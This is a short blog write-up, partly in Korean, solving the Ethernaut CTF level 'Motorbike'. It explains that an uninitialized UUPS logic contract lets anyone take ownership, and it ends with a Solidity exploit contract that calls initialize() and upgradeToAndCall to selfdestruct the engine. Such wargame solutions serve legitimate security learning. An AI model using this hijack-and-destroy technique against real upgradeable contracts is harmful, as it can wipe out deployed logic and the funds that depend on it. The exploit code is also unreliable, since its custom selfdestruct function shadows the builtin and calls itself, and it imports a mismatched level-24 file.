The Ethernaut - 25. Motorbike

Ethernaut's motorbike has a brand new upgradeable engine design.

Would you be able to selfdestruct its engine and make the motorbike unusable ?

Things that might help:

EIP-1967
UUPS upgradeable pattern
Initializable contract

 

---

 

UUPs upgrade proxy pattern -> https://www.rareskills.io/post/uups-proxy
(영어공부도 되면 개이득 아님? 하면서 그냥 읽다가 진짜 시간 오래걸릴 것 같아서 중간에 번역해서 보기 ..ㅎ)

 

Proxy 컨트랙트는 Logic 컨트랙트의 함수를 delegatecall을 사용해 호출함 -> Logic 컨트랙트에는 Proxy를 업그레이드하거나 컨트랙트를 파괴할 수 있는 기능이 있지만, 이게 아무나 설정할 수 있게 되어있음 -> Logic 컨트랙트 소유권을 가져오고, selfdestruct함수를 이용해서 파괴하기 !!

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../instances/Ilevel24.sol"; 

interface Engine {
    function initialize() external;
    function upgradeToAndCall(address newImplementation, bytes memory data) external;
}

contract MotorbikeExploit {
    Engine engine;

    constructor(address engineAddress) {
        engine = Engine(engineAddress);
    }

    function exploit() external {
        engine.initialize(); 

        bytes memory payload = abi.encodeWithSignature("selfdestruct(address)", msg.sender);
        engine.upgradeToAndCall(address(this), payload);
    }

    function selfdestruct(address payable recipient) external {
        selfdestruct(recipient);
    }
}